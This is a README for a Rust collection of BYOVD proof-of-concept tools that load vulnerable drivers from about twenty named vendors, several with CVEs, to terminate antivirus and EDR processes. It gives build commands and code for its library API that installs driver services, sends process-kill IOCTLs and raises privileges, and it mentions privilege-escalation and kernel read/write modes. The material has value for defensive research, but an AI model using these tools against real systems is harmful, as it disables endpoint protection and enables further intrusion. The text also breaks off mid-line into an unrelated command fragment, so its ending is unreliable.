BYOVD is a collection of PoCs demonstrating how vulnerable drivers can be exploited to disable AV/EDR solutions.
The collection includes both undocumented drivers and those with existing coverage in LOLDDrivers or Microsoft's recommended driver block rules.
The BYOVD technique has recently gained popularity in offensive security, particularly with the release of tools such as SpyBoy's Terminator (sold for $3,000) and the ZeroMemoryEx Blackout project. These tools capitalize on vulnerable drivers to disable AV/EDR agents, facilitating further attacks by reducing detection.
This repository contains several PoCs developed for educational purposes, helping researchers understand how these drivers can be abused to terminate processes.
The project is organized as a Rust Cargo workspace. Most PoCs share a common library (byovd-lib) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, privilege adjustment, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration. K7Terminator, Astra64-RW, and Xhunter1-Killer are standalone — they have their own [workspace] declarations and are built directly from their own directories, not via the root workspace.
BYOVD/
├── Cargo.toml # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
│
├── byovd-lib/ # Shared library
│ ├── Cargo.toml
│ └── src/
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
│ └── util.rs # to_wstring / to_cstring / get_current_dir
│
├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys
├── Astra64-RW/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, kernel R/W demo (Shadow SSDT hijack -> SYSTEM)
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/ # CnCrypt CcProtect
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/ # Kingsoft ksapi64
├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501)
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/ # ThreatFire sysmon
├── UnknownKiller/ # unattributed unknown.sys
├── Viragt64-Killer/ # Tg Soft viragt64
├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
└── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
Each *-Killer/ directory contains its own Cargo.toml, src/main.rs (the DriverConfig impl + CLI), README.md (driver hashes + usage), and the matching .sys file the binary loads at runtime.
Prerequisites: Rust toolchain and Visual Studio Build Tools with the Windows SDK.
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
Binaries are output to target/release/. Copy the corresponding .sys driver file into the same directory as the executable before running.
byovd-lib is the shared library that all PoCs (except K7Terminator) are built on. It exposes two complementary APIs -- a high-level declarative one for the standard "install driver, kill on sight, clean up" flow, and a low-level imperative one for killers that need a custom flow (attach to an already-loaded driver, fan out to multiple PIDs, structured IOCTL buffers, custom retry logic, etc.). Both can be mixed in the same binary.
byovd-lib/src/
├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete)
├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes)
├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
├── process.rs # find_pid_by_name / find_all_pids_by_name
├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
├── privilege.rs # enable_privilege / ensure_running_as_local_system
└── util.rs # to_wstring / to_cstring / get_current_dir
DriverConfig trait + run()This is what the bundled killers use. Implement the trait, call byovd_lib::run(), done.
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}
fn main() -> Result<()> {
let cli = Cli::parse();
byovd_lib::run(&MyDriver, &cli.process_name, None)
}
run() does: preflight_check → install service (SERVICE_DEMAND_START) → StartService → kill-on-sight monitor (Ctrl+C to exit) → stop + delete service.
Optional trait overrides with their defaults:
| Method | Default | Purpose |
|---|---|---|
device_access() |
SERVICE_ALL_ACCESS |
CreateFileW access flags |
skip_unload() |
false |
Skip driver cleanup (e.g. drivers that BSOD on unload) |
ignore_ioctl_error() |
false |
Treat IOCTL failure as success (e.g. NSecKrnl reports error on success) |
ioctl_output_size() |
0 |
Expected output buffer size in bytes |
preflight_check() |
Ok(()) |
Pre-launch validation (e.g. LocalSystem check) |
When the trait flow doesn't fit -- e.g. the driver is already loaded and you only want to fire one IOCTL, you need a custom retry policy, the IOCTL takes a structured input rather than just a PID, or you want to fan out across all matching PIDs -- compose the lower-level pieces directly.
Driver lifecycle -- ByovdDriver:
use byovd_lib::ByovdDriver;
let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\\\.\\MyDevice")?;
driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK
let device = driver.open_device()?; // returns DeviceHandle
// ... send IOCTLs ...
driver.stop_and_delete()?;
IOCTL dispatch -- DeviceHandle exposes five typed shapes:
| Method | Use when |
|---|---|
ioctl<I, O>(code, &input, &mut output) |
Both input and output buffers, separate types |
ioctl_inout<T>(code, &mut data) |
Same buffer for input + output |
ioctl_in<I>(code, &input) |
Input only, no output buffer |
ioctl_in_unchecked<I>(code, &input) |
Input only, ignore failure (per-call alternative to ignore_ioctl_error) |
ioctl_raw(code, in_ptr, in_size, out_ptr, out_size) |
Raw pointer escape hatch |
The typed forms remove the manual to_ne_bytes() / extend_from_slice() boilerplate when the IOCTL takes a struct (e.g. { pid: u32, padding: [u8; 20] }).
Process lookup -- find_pid_by_name(name) (first match) and find_all_pids_by_name(name) (all matches, excludes system PIDs ≤ 4).
Custom monitor loop -- run_monitor_loop(name, interval, |pid| ...) takes a closure so you can do whatever you want per match (multiple IOCTLs, structured logging, fan-out across PIDs, retry on error).
Privileges -- enable_privilege("SeDebugPrivilege") / enable_privilege("SeLoadDriverPrivilege") for drivers that require explicit token privileges. ensure_running_as_local_system() returns an error if the process is not running as S-1-5-18.
Handle wrappers -- WinHandle (auto-CloseHandle) and ScHandle (auto-CloseServiceHandle) are Send + Sync and can be moved across threads.
This is what UnknownKiller --attach does -- skip SCM entirely, just open the device and fire the IOCTL once:
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};
fn main() -> Result<()> {
let device = DeviceHandle::open("\\\\.\\eb")?;
let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
device.ioctl_in(0x222024, &pid)?; // typed: just pass &u32
Ok(())
}
FileHandle / ServiceHandle still resolve to WinHandle / ScHandle, and get_pid_by_name is kept as an alias for find_pid_by_name, so older code referencing those names keeps compiling.
Below are the drivers and their respective PoCs available in this repository:
ardrv.sys from OPSWAT AppRemover.astra64.sys from EnTech Taiwan (Astra32 / TVicHW) -- standalone kernel R/W PoC.BdApiUtil64.sys from Baidu AntiVirus (CVE-2024-51324).CcProtect.sys from CnCrypt.GameDriverX64.sys from Fedeen Games (CVE-2025-61155).GoFlyDrv.sys from Golink.HWAudioOs2Ec.sys from Huawei.K7RKScan.sys from K7 Computing (CVE-2025-52915, CVE-2025-1055) -- Full write-up.ksapi64.sys / ksapi64_del.sys from Kingsoft Corporation.MonProcessEX.sys from HONOR.NSecKrnl.sys from NSEC (ValleyRAT BYOVD reproduction).PCTcore64.sys from PC Tools (CVE-2026-8501).PoisonX.sys from Microsoft (@j3h4ck reproduction)STProcessMonitor.sys from Safetica (CVE-2025-70795, supports v11.11.4 and v11.26.18).sysmon.sys from ThreatFire System Monitor.unknown.sys from an unattributed vendor (driver origin TBD).viragt64.sys from Tg Soft.wsftprm.sys from Topaz Antifraud (CVE-2023-52271).xhunter1.sys from Wellbia (XIGNCODE3, CVE-$ claude mcp add BYOVD \
-- python -m otcore.mcp_server <graph>